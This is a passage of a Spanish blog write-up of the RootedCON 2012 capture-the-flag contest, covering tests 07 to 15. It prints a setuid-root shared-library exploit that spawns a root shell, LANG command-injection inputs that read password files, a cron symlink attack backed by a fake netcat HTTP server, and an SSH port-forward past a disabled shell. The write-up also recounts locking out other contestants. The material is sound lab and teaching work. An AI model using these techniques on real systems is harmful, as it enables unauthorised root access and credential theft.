hasta que no aparecen las pistas no sabemos muy bien por dónde tirar. Aunque se
realizaron pruebas con métodos HTTP inválidos (ver </span><span lang="EN-US"><a href="http://www.kernelpanik.org/docs/kernelpanik/bme.esp.pdf"><span lang="es">http://www.kernelpanik.org/docs/kernelpanik/bme.esp.pdf</span></a></span><span lang="es"> como referencia a estos métodos para
saltarse la autenticación HTTP) en ningún caso se prueba con GETT puesto que
los ataques conocidos funcionan con cualquier método.</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Tras conocer
la pista de que <i>GETT </i>es el método a
utilizar, aparentemente arbitrario, intentamos obtener listados de directorios
de diversas formas. Al final probamos con <i>GETT
/key</i> obteniendo la clave correcta:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">$ echo -en "GETT /key\n\n" | nc 10.1.0.23 81
UTCDate: Sat Feb 25 14:01:49 UTC 2012
Key=UNDESAFIOTRIVIAL
</pre>
<div class="Code">
</div>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057872"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026404"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949585"><span lang="es">Clave</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">La clave para
obtener la puntuación de esta prueba es: UNDESAFIOTRIVIAL<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057873"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026405"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949586"><span lang="es">Prueba
08</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057874"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026406"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949588"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">La prueba 08
está otra vez albergada en la <i>máquina
maldita</i>, con lo cual no podemos acceder a ella durante bastante parte del
reto. Tras conocer mediante las pistas que existen datos necesarios para la
prueba 08 en la prueba 07, empezamos a probar más métodos de obtener listados
de directorios: </span></div>
<div class="MsoNormal">
<span lang="es">.DS_Store, .listing, .listingX, etc. Finalmente damos con un
listado en <i>files</i> que contiene lo
siguiente:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">$ echo -en "GETT /files\n\n" | nc 10.1.0.23 81
FILES <this>
LEEME 3b33cdb923442b126b516e61d770179f
prueba08.ctf2012 http://prueba08.ctf2012:81/tok/<tokenvalue>
seed.eid 4df041ef22f0aa49d41e85dae32b3aad
RTDToken.7z 4bd1472270ba572d3d81c2cd244717e7
k?????????????????????????????????????????????????????b8
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Aunque no
podemos bajar el archivo <i>7z</i>, al
conectar al IRC vemos que el mismo está en el topic para poder descargarlo
desde </span><span lang="EN-US"><a href="https://arena2012.rootedcon.es/pruebas/RTDToken.7z"><i><span lang="es">https://arena2012.rootedcon.es/pruebas/RTDToken.7z</span></i></a></span><span lang="es">. Tras descargarlo y ejecutarlo,
metemos el PIN que ya hemos obtenido del ZIP de la prueba 12 (mediante fuerza
bruta).</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Con dicho PIN,
obtenemos un token que utilizamos para hacer una petición al mismo servicio de
la prueba 07. El resultado es el siguiente:<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<pre class="brush: bash;">$ echo -en "GETT /tok/9F652850\n\n" | nc 10.1.0.23 81
TOKEN_OK: 9F652850
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS
</pre>
<br />
<div class="MsoNormal">
<span lang="es">
Luego nos damos cuenta que con cualquier token nos está dando la clave
correcta. Para comprobar esto y que no se trata de un error por nuestra parte,
entramos en la máquina <i>bastilla1</i> en
la cual ya disponemos de acceso <i>root</i>
y un binario con <i>netcat</i>. </span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Desde allí
lanzamos la petición con un token puesto a ZZZZZZZZ varias veces. Aunque no
siempre nos da la clave, sí que lo hace en varias ocasiones:<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
YOURTOKEN: ZZZZZZZZ
root@bastilla1:~#
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
TOKEN_OK: ZZZZZZZZ
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
TOKEN_OK: ZZZZZZZZ
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81
TOKEN_OK: ZZZZZZZZ
PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Esto nos
indica que el token aparentemente no es necesario, o que lo devuelve
correctamente durante buena parte del tiempo siempre que la longitud sea la
correcta.<o:p></o:p></span><br />
<span lang="es"><br /></span></div>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057875"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026407"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949589"><span lang="es">Clave</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">La clave para
obtener la puntuación de esta prueba es: IWASMADEWITHSTOLENSEEDS<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057876"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026408"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949590"><span lang="es">Prueba
09</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057877"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026409"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949592"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
Analizando el texto
cifrado vemos cadenas que se repiten como "pobrovWmviB". Haciendo
búsquedas en Google por algunas de ellas (de diferentes tamaños) llegamos a la
página: <span lang="EN-US"><a href="http://easyciphers.com/"><span lang="ES">http://easyciphers.com/</span></a></span><br />
<br />
Allí nos llama la atención el cifrado "Affine". Tras documentarnos,
buscamos una manera de romper este cifrado. Necesitamos obtener los parámetros
"a" y "b". Hay 312 claves (combinaciones) posibles, no es
mucho, pero necesitamos alguna herramienta como "Norse Cryptanalysis
Tools". Funciona introduciendo una cadena que creamos debe existir en el
texto en claro (ej: "the" en textos en inglés) y te devuelve las
combinaciones de "a" y "b" que producen la cadena anterior
en el texto sin cifrar. En nuestro caso utilizamos "porque" (cifrado:
czifrv).<br />
<br />
Una vez obtenidos los valores de "a" y "b" apropiados (a=3,
b=9), podemos descifrar el texto con la herramienta anterior o por ejemplo con
esta otra que tenemos online:<br />
<span lang="EN-US"><span lang="ES"><a href="http://rumkin.com/tools/cipher/affine.php">http://rumkin.com/tools/cipher/affine.php</a></span><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Hlt318056455"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Hlt318056456"></a></span><o:p></o:p><br />
<span lang="EN-US"><br /></span></div>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057878"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026410"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949593"><span lang="es">Clave</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">La clave para
obtener la puntuación de esta prueba es: Alonso Quijano<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057879"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026411"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949594"><span lang="es">Prueba
10</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057880"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026412"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949596"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
Basándonos en la última pista publicada, obtenemos el texto descifrado ejecutando:<br />
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">$ openssl enc -d -des -in prueba10.bin -k 2102NOCdetooR
-out descifrado.txt</pre>
<h3>
</h3>
<h3>
<span lang="es"><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057881">Clave</a></span><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">La clave para
obtener la puntuación de esta prueba es: </span>2102NOCdetooR<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057882"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026414"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949598"><span lang="es">Prueba
11</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057883"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026415"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949600"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
Esta prueba no se llegó a resolver durante el concurso. Desde que supimos que se trataba de una máquina enigma tras recibir la primera pista, empezamos a realizar fuerza bruta con una herramienta de Didier Stevens ligeramente modificada.<br />
<div class="MsoNormal">
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949601"><span lang="es"><br /></span></a></div>
<div class="MsoNormal">
<span lang="es">Por
alguna razón, no pudimos identificar nada coherente en la salida de la
herramienta. Tras ver las últimas pistas, ahora mismo se podría resolver
utilizando un simple script de perl y el módulo Crypt::Enigma obtenido desde CPAN,
haciendo una pequeña fuerza bruta de un número reducido de opciones.<o:p></o:p></span><br />
<span lang="es"><br /></span></div>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057884"><span lang="es">Clave</span></a><span lang="es"><o:p></o:p></span></h3>
Esta prueba no se llegó a resolver durante el concurso.<br />
<div class="MsoNormal">
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949602"><span lang="es"><br /></span></a></div>
<div class="MsoNormal">
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949602"><span lang="es"><br /></span></a></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057885"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026417"><span lang="es">Prueba 12</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057886"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026418"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949604"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
El primer día obtuvimos
por fuerza bruta la contraseña del fichero ZIP (03133700) y probamos sin éxito
con varias herramientas de esteganografía, pero no logramos dar con la solución
hasta la publicación de la última pista. Vimos un bloque sospechoso a partir
del offset 496 del fichero descomprimido (1.avi), que resultó ser el texto
“SUIT UP?” codificado con EBCDIC. Sin embargo, el último carácter (0xBB) no
decodificaba correctamente y en principio no tiene equivalente en dicha
codificación, por lo que probamos algunas variantes hasta dar con la solución
final.<o:p></o:p><br />
<br /></div>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057887"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026419"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949605"><span lang="es">Clave</span></a><span lang="es"><o:p></o:p></span></h3>
La clave para obtener la puntuación de esta prueba es: SUIT UP!<br />
<div class="MsoNormal">
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949606"><span lang="es"><br /></span></a></div>
<div class="MsoNormal">
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949606"><span lang="es"><br /></span></a></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057888"><span lang="es">Prueba 13</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057889"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026421"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949608"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">Tras probar
varias de las claves obtenidas en otros niveles, logramos acceder al usuario <i>bastilla1</i> con la clave del nivel 0,
quite_clever_dns_is_useful. Analizando la máquina observamos que existe un
directorio /CTF con el siguiente contenido:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">bastilla1@bastilla1:/CTF$ ls -la
total 20
drwxr-xr-x 3 root root 4096 Feb 24 01:33 .
drwxr-xr-x 21 root root 4096 Feb 19 13:20 ..
drwx------ 2 bastilla2 bastilla2 4096 Feb 20 01:44 plugins
--ws--s--x 1 root root 5832 Jan 28 01:27 restme
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Se puede
observar un binario con <i>setuid</i> root,
que es claramente el objetivo de la prueba. Al ejecutar el binario se obtiene
la siguiente salida:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">[RootedCON 2012 Challenges]
Starting RESTME process...
[*] Executing validation checks: .......
[*] Running...
PLUGIN=[/CTF/plugins/libctf.so.0]
[RES] Valx=1
[RES second stage] Valx=2
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Podemos ver
que el binario carga una librería compartida del directorio <i>plugins</i>, que pertenece al usuario <i>bastilla2</i>. Este usuario no es accesible
vía SSH como podemos observar en el fichero <i>/etc/passwd</i>:</span><o:p></o:p></div>
<div class="Code">
<span lang="es">bastilla2:x:1001:1001:Bastilla
2,,,:/CTF/plugins:/bin/false<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span lang="es">Puesto que
mediante un escaneo de puertos habíamos determinado que existía un servidor FTP
en el puerto 21, intentamos acceder con el usuario <i>bastilla2</i> y diversos passwords. Al intentar con <i>bastilla2</i> conseguimos acceso al FTP.</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Intentando
pasar distintos parámetros al binario nos damos cuenta que el número utilizado
en el nombre de la librería cambia con el primer carácter del primer parámetro.
Con esto, y mediante el acceso FTP al directorio de plugins, subimos un fichero
compartido con un constructor que ejecuta una shell:<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: c;">#include <stdio.h>
static void __attribute__((constructor)) my_init(void)
{
setreuid(0,0);
unlink("/home/eleva4/PWNED]");
execl("/bin/bash","bash",(char *)0);
}
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Tras compilar
y subir este archivo como <i>libctf.so.1</i>
y ejecutar el binario con el parámetro 1 conseguimos la shell de root:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">bastilla1@bastilla1:/CTF$ ./restme 1
[RootedCON 2012 Challenges]
Starting RESTME process...
[*] Executing validation checks: ............
[*] Running...
PLUGIN=[/CTF/plugins/libctf.so.1]
bash-4.1# cat KEY
L33TDYNLOADING
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Tras obtener
este acceso, cambiamos el password de root y de los demás usuarios de la
máquina, cerramos cualquier conexión SSH abierta por otros usuarios y borramos
la librería utilizada para elevar privilegios.<o:p></o:p></span><br />
<span lang="es"><br /></span></div>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057890"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026422"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949609"><span lang="es">Clave</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">La clave para
obtener la puntuación de esta prueba es: </span>L33TDYNLOADING<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057891"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026423"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949610"><span lang="es">Prueba
14</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057892"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026424"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949612"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">De nuevo conectamos
a la máquina objetivo mediante el uso del usuario <i>bastilla2</i> y el password obtenido como solución a la prueba 00. A
partir de ahí, buscamos binarios con los flags <i>setuid</i> activos que podamos ejecutar con este usuario. El primero
que llama la atención es el siguiente archivo:</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="Code">
<span lang="es">-rwsr-sr-x 1 eleva1
eleva1 3104 Feb 3 23:10
/usr/include/lct/.. /eleva<o:p></o:p></span></div>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Al ejecutarlo
obtenemos automáticamente acceso shell con el usuario <i>eleva1</i>. Esto nos indica que ahora toca buscar elevar privilegios a <i>eleva2</i>. Si nos movemos al <i>home</i> del usuario nos encontramos con un
fichero <i>eleva2</i> que de nuevo nos
permitirá elevar privilegios:</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="Code">
<span lang="es">---s--s--x 1 eleva2
eleva2 3880 Feb 3 23:48 eleva2<o:p></o:p></span></div>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Buscando por
la máquina también encontramos unos templates en /usr/share/eleva que parecen
variar con el lenguaje utilizado y contienen los datos mostrados por <i>eleva2</i> por pantalla. Intentamos inyectar
comandos en la variable de entorno LANG para ver si el programa no la sanitiza
correctamente al utilizarla:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">eleva1@bastilla2:~$ LANG=";id;" ./eleva2 aa
Hola / Hello aa
cat: /usr/share/eleva/: Is a directory
uid=1001(eleva1) gid=1001(eleva1) euid=1002(eleva2) egid=1002(eleva2) groups=1002(eleva2),1001(eleva1)
sh: /template: No such file or directory
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Por tanto,
podemos ejecutar comandos como el usuario <i>eleva2</i>.
Esto nos permite obtener el password del usuario:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">eleva1@bastilla2:~$ LANG=";cat /home/eleva2/PASSWD;" ./eleva2 aa
Hola / Hello aa
cat: /usr/share/eleva/: Is a directory
avanzandofuerte
sh: /template: No such file or directory
eleva1@bastilla2:~$
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">En este punto,
nos damos cuenta que el binario <i>nmap</i>
con <i>suid</i> del usuario <i>eleva4</i> es ejecutable por cualquier
usuario de la máquina. Por tanto, decidimos centrarnos en dicho binario en
lugar de explotar <i>eleva3</i>. Tras buscar
por vulnerabilidades de la versión de nmap en cuestión, encontramos que
ejecutando el siguiente comando podemos obtener el password del usuario <i>eleva4</i>:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">eleva1@bastilla2:~$ nmap -iL /home/eleva4/PASSWD localhost
Starting Nmap 5.00 ( http://nmap.org ) at 2012-02-19 21:17 MSK
Failed to resolve given hostname/IP: muyhabilinteractivo. Note that you can't use '/mask' AND '1-4,7,100-' style IP ranges
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.08 seconds
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Tras acceder
como <i>eleva4</i>, decidimos sobrescribir
el binario <i>nmap</i> para que cualquier
usuario que no haya accedido a dicho nivel todavía no sea capaz de hacerlo.
Seguidamente encontramos el siguiente archivo:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">$ ls /usr/ARENA/eleva44.pl -l
-r-s--x--x 1 root root 1703 Feb 18 00:13 /usr/ARENA/eleva4.pl
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Este binario
es lanzado vía <i>cron</i> cada 5 minutos,
como se puede observar en el cron.log:</span><o:p></o:p></div>
<div class="Code">
<span lang="es">Feb 20 03:35:01
bastilla2 /USR/SBIN/CRON[29700]: (root) CMD (/usr/ARENA/eleva4.pl)<o:p></o:p></span></div>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Analizando el
home del usuario <i>eleva4</i> observamos
que el fichero <i>status.log</i> contiene la
salida del script perl anterior. Aunque no conocemos el código, podemos
observar que dichos datos vienen del servicio 10.1.0.23:47, puesto que contiene
líneas como las siguientes:</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="Code">
<span lang="EN-US">OK in exec: [logger 1329693938 Remote service 47
checked OK]<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<span lang="es">Puesto que
podemos controlar el fichero status.log eliminándolo o creando uno nuevo, y el
programa lo abre como <i>root</i> y añade
líneas a éste, en un primer momento decidimos reemplazarlo por un enlace
simbólico a <i>/etc/ld.so.preload</i>. De
esta forma esperamos poder cargar una librería con nombre <i>OK</i> en cualquier fichero que se ejecute en el sistema, y de ahí
escalar privilegios mediante cualquier binario <i>setuid</i>.</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Sin embargo,
esto no funciona puesto que aún no controlamos los datos escritos, y el mecanismo
de <i>preloading</i> mediante este archivo
requiere que se proporcionen rutas absolutas. Seguidamente, observamos unos
ficheros <i>aux.XXX</i> en <i>/tmp</i> con el siguiente contenido:</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="EN-US"><i><span lang="es"><a href="http://10.1.0.23:47/">http://10.1.0.23:47/</a></span></i></span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="EN-US"><i><br /></i></span></div>
<div class="MsoNormal">
<span lang="es">Con esto,
decidimos eliminar todos los ficheros <i>aux.XXX</i>
y crear enlaces simbólicos a un fichero controlado por nosotros en el
directorio <i>/home/eleva4</i>. En este
fichero escribimos la IP de la máquina <i>bastilla1</i>
que ya controlamos, y ponemos un <i>netcat</i>
a enviar respuestas a cualquier petición con este contenido:</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: plain;">HTTP/1.1 200 OK
Date: Sun, 19 Feb 2012 22:02:32 GMT
Server: Apache
Last-Modified: Wed, 08 Feb 2012 13:30:48 GMT
ETag: "3820abc-c-4b873e74a5200"
Accept-Ranges: bytes
Content-Length: 28
Vary: Accept-Encoding
Content-Type: text/html
STATUS = /home/eleva4/PWNED
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Una vez hecho
esto, esperamos a que se lance el proceso mediante <i>cron</i> y observamos que ahora todos los procesos intentan cargar
dicha librería. Entonces creamos la librería con el mismo código usado en la
prueba de <i>bastilla1</i> y ejecutamos un
binario <i>suid</i> <i>root</i> (ping) para obtener root.</span><o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">sh-4.1# cat KEY
HEAVYLOCALLOLCAT
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">De nuevo, una
vez obtenido acceso <i>root</i>, cambiamos
todos los passwords y modificamos los ficheros con claves en la máquina.
Echamos a cualquier usuario conectado en este punto y nos aseguramos acceso
continuado a la máquina durante el resto del concurso por si fuese necesario.</span><o:p></o:p><br />
<span lang="es"><br /></span></div>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057893"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026425"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949613"><span lang="es">Clave</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">La clave para
obtener la puntuación de esta prueba es: </span>HEAVYLOCALLOLCAT<o:p></o:p></div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<br /></div>
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057894"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026426"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949614"><span lang="es">Prueba
15</span></a><span lang="es"><o:p></o:p></span></h2>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318057895"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc318026427"></a><a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949616"><span lang="es">Resolución</span></a><span lang="es"><o:p></o:p></span></h3>
<div class="MsoNormal">
<span lang="es">Con las pistas
obtenidas y la información encontrada en el archivo <i>LEEME~ </i>en la prueba 07, intentamos probar el par <i>arenahip:arenahop </i>como usuario y
contraseña para la máquina 10.1.0.23 vía SSH. Enseguida nos damos cuenta que el
acceso está cerrado, probablemente mediante el uso de <i>/bin/false</i> como shell.</span><o:p></o:p></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es">Sin embargo,
tras una rápida búsqueda en google, se puede comprobar que dicha protección
sigue permitiendo realizar <i>port
forwarding</i>. Por tanto, en un terminal ejecutamos la siguiente línea de
comandos para redirigir el puerto 4000 local al puerto ssh de la máquina
10.1.0.27:</span><o:p></o:p><br />
<br /></div>
<pre class="brush: bash;">$ ssh -L 4000:10.1.0.27:22 arenahip@10.1.0.23 -vN
</pre>
<div class="Code">
<br /></div>
<div class="MsoNormal">
<span lang="es">Seguidamente,
conectamos a dicha máquina con otra terminal y los mismos datos de acceso:<o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<pre class="brush: bash;">$ ssh arenahip@localhost -p 4000
arenahip@localhost's password:
Last login: Fri Feb 24 00:33:08 2012 from 10.1.0.23
arenahip@prueba15:~$ ls
KEY
arenahip@prueba15:~$ cat KEY
KEY=BOUNCIN'JACKFLASH
arenahip@prueba15:~$
</pre>
<h3>
</h3>
<h3>
<br /></h3>
<h3>
<a href="http://www.blogger.com/blogger.g?blogID=8030856701715224582" name="_Toc317949617">Clave</a></h3>
<div class="MsoNormal">
<span lang="es">La clave para
obtener la puntuación de esta prueba es: BOUNCIN'JACKFLASH<o:p></o:p></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<div class="MsoNormal">
<span lang="es"><br /></span></div>
<h1>
